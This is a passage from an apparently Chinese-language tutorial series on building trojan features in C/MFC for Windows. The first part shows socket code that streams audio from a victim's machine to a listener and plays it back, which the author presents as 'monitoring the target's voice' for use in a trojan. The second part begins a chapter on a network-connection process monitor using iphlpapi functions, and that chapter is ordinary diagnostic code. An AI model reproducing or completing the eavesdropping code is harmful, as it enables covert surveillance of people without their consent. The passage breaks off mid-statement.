发送数据函数SendBuffer(buffer)代码如下:
void SendBuffer(char *buffer)
{
WSADATA wsadata;
SOCKET client;
SOCKADDR_IN serveraddr;
int port=5555;
WORD ver=MAKEWORD(2,2); //判断winsock版本
WSAStartup(ver,&wsadata); //初始SOCKET
client=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
serveraddr.sin_family=AF_INET;
serveraddr.sin_port=htons(port);
serveraddr.sin_addr.S_un.S_addr=inet_addr("127.0.0.1");
connect(client,(SOCKADDR*)&serveraddr,sizeof(serveraddr));
send(client,buffer,BUFFER_SIZE,0);//发送数据
closesocket(client);
WSACleanup();
}
客户端实现:
在对话框上添加监听按钮,并加入响应代码:
void CSSDlg::OnStart()
{
m_start.SetWindowText("监听中..."); //改变按钮文字
m_start.EnableWindow(false); //停用录音按钮
hwnd=m_hWnd;
::SendMessage(hwnd,MM_WOM_DONE,0,0); //发送MM_WOM_DONE消息
}
MM_WOM_DONE消息函数代码如下:
void CSSDlg::OnMM_WOM_DONE(UINT wParam,LONG lParam)//放音结束
{
WSADATA wsadata;
SOCKET server;
SOCKET client;
SOCKADDR_IN serveraddr;
SOCKADDR_IN clientaddr;
int port=5555;
WORD ver=MAKEWORD(2,2); //判断winsock版本
WSAStartup(ver,&wsadata); //初始SOCKET
char *buffer=(char *)malloc(BUFFER_SIZE); //分配空间
if (!buffer)
{
AfxMessageBox("Memory error!");
}
server=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
serveraddr.sin_family=AF_INET;
serveraddr.sin_port=htons(port);
serveraddr.sin_addr.S_un.S_addr=htonl(INADDR_ANY);
bind(server,(SOCKADDR*)&serveraddr,sizeof(serveraddr));
listen(server,5);
int len=sizeof(clientaddr);
client=accept(server,(sockaddr *)&clientaddr,&len);
if(recv(client,buffer,BUFFER_SIZE,0))
{
wavehdr->lpData=(LPTSTR)buffer;
wavehdr->dwBufferLength=BUFFER_SIZE;
wavehdr->dwBytesRecorded=0;
wavehdr->dwUser=0;
wavehdr->dwFlags=0;
wavehdr->dwLoops=1;
wavehdr->lpNext=NULL;
wavehdr->reserved=0;
waveform.wFormatTag = WAVE_FORMAT_PCM;
waveform.nChannels = 1;
waveform.nSamplesPerSec = 11025;
waveform.nAvgBytesPerSec= 11025;
waveform.nBlockAlign = 1;
waveform.wBitsPerSample = 8;
waveform.cbSize = 0;
waveOutOpen(&hWaveOut,WAVE_MAPPER,&waveform,(DWORD)hwnd,NULL,CALLBACK_WINDOW)
waveOutPrepareHeader (hWaveOut, wavehdr, sizeof (WAVEHDR))
waveOutWrite (hWaveOut, wavehdr, sizeof (WAVEHDR))
}
closesocket(server);
closesocket(client);
WSACleanup();
}
我们用SendMessage(hwnd,MM_WOM_DONE,0,0)手动发送MM_WOM_DONE消息后,程序开始接受网络数据并进行播放,当播放结束时又自动发出一个MM_WOM_DONE消息,从而实现循环接受数据并播放。
现在就实现了对目标语音的监控,但对语音的平滑播放,压缩传输,还差好多,如果有兴趣的话还可以把上文的服务端与客户端代码整合的一块实现双向通信,做个网络电话,不过在木马中好像没太大必要呵呵
第10篇之网络进程监视
进程管理程序大家都不陌生,通过CreateToolhelp32Snapshot/Process32First/Process32Next系列函数或者PSAPI库不难探出其中的信息,但对进程是否有网络操作,监听的端口,远程地址,远程端口却力不从心了。然而这种监视对于分析某些恶意软
又十分必要,所以我们的目标就是打操,具有网络监视功能的最终梦幻版本。
实现方法
NETSTAT -A -N 这条命令可以打印出本地的TCP和UDP连接信息,在06年的杂志上古开元在《解析网络执法官》系列文章中实现
了NETSTAT的功能,方法是使用GetTcpTable和GetUdpTable两个函数得到信息列表,但它却无法实现连接信息与进程的对照,
所以我们还要找其它方法。不能用你还说,给你一顿暴K,当然我也没是没事找刺激,因为在它的基础上MS提供了住处另外的
函数可以达到我们的目得。他们是AllocateAndGetTcpExTableFromStack和AllocateAndGetUdpExTableFromStack,与
GetTcpTable和GetUdpTable相比,扩展函数包含了正在使用当前连接进程的ID号,有了进程ID我们就可以做事了。
版本要求
在开始之前还有些事情要做,请确认一下自己操作系统的版本,因为扩展函数是在WINDOWS XP 和更高版本中所提供的
IP帮助函数,而在WINDOWS2000中是无法使用的。不过如果你的WIN2000上安装了VS2003或VS20005那么就可以使用了(包括编写和运行)。
此扩展函数的原形定义在Iphipapi.h文件中,在使用时,必须链接到Iphlpapi.lib库。
函数原型和结构
因为函数所需的结构是没有公开的,使用时要自己定义。我们从函数本身开始介绍
AllocateAndGetTcpExTableFromStack和AllocateAndGetUdpExTableFromStack函数在使用时要用iphlpapi.dll中
动态获取扩展函数的入口地址,其示例代码如下:
代码:
HMODULE hModule = ::LoadLibrary("iphlpapi.dll");
//获取TCP列表
pAllocateAndGetTcpExTableFromStack =
(PFNAllocateAndGetTcpExTableFromStack)::GetProcAddress(hModule,
"AllocateAndGetTcpExTableFromStack");
//获取UDP列表
pAllocateAndGetUdpExTableFromStack =
(PFNAllocateAndGetUdpExTableFromStack)::GetProcAddress(hModule,
"AllocateAndGetUdpExTableFromStack");
其中pAllocateAndGetTcpExTableFromStack 和pAllocateAndGetUdpExTableFromStack 是扩展函数指针如下
PFNAllocateAndGetTcpExTableFromStack pAllocateAndGetTcpExTableFromStack;
PFNAllocateAndGetUdpExTableFromStack pAllocateAndGetUdpExTableFromStack;
而PFNAllocateAndGetTcpExTableFromStack和PFNAllocateAndGetUdpExTableFromStack则是
由我们自己定义扩展函数原型代码如下:
typedef DWORD (WINAPI *PFNAllocateAndGetTcpExTableFromStack)(
PMIB_TCPEXTABLE *pTcpTable,
BOOL bOrder,
HANDLE heap,
DWORD zero,
DWORD flags
);
typedef DWORD (WINAPI *PFNAllocateAndGetUdpExTableFromStack)(
PMIB_UDPEXTABLE *pUdpTable,
BOOL bOrder,
HANDLE heap,
DWORD zero,
DWORD flags
);
在成功得到函数入口后就可以获取TCP/UDP进程和网络信息列表了其代码如下
代码:
PMIB_TCPEXTABLE pTcpExTable;
PMIB_UDPEXTABLE pUdpExTable;
if(pAllocateAndGetTcpExTableFromStack(&pTcpExTable, TRUE, GetProcessHeap(), 2, 2) != 0)
{
MessageBox(" TCP列表失败\n");
}
if(pAllocateAndGetUdpExTableFromStack(&pUdpExTable, TRUE, GetProcessHeap(), 2, 2) != 0)
{
MessageBox(" UPD列表失败\n");
}
其中 PMIB_TCPEXTABLE和PMIB_UDPEXTABLE是自己定义的结构,用来接受列表信息,它们的原形如下
代码:
typedef struct
{
DWORD dwState; // 连接状态
DWORD dwLocalAddr; // 本地地址
DWORD dwLocalPort; // 本地端口
DWORD dwRemoteAddr; // 远程地址
DWORD dwRemotePort; // 远程端口
DWORD dwProcessId; // 进程ID号
} MIB_TCPEXROW, *PMIB_TCPEXROW;
typedef struct
{
DWORD dwNumEntries;
MIB_TCPEXROW table[ANY_SIZE];
} MIB_TCPEXTABLE, *PMIB_TCPEXTABLE;
typedef struct
{
DWORD dwLocalAddr; // 本地地址
DWORD dwLocalPort; // 本地端口
DWORD dwProcessId; // 进程ID号
} MIB_UDPEXROW, *PMIB_UDPEXROW;
typedef struct
{
DWORD dwNumEntries;
MIB_UDPEXROW table[ANY_SIZE];
} MIB_UDPEXTABLE, *PMIB_UDPEXTABLE;
上面的结构信息的说明十分详细,也是程序的核心,这样子我们就可以得进程的ID和其它信息了,下面我再讨论其具体实现.
细节实现
跟据上文所返回的结构我们可以从中提取需要的信息,包括本地/远程IP,端口状态,进程名称,进程路径等等
各个信息定义如下
代码:
char szLocalAddr[128];
char szRemoteAddr[128];
char szProcessName[128];
in_addr inadLocal;
in_addr inadRemote;
char strState[128];
DWORD dwRemotePort = 0;
本地IP地址
代码:
inadLocal.s_addr = pTcpExTable->table[i].dwLocalAddr;
远程端口
代码:
if(strcmp(strState, "LISTEN
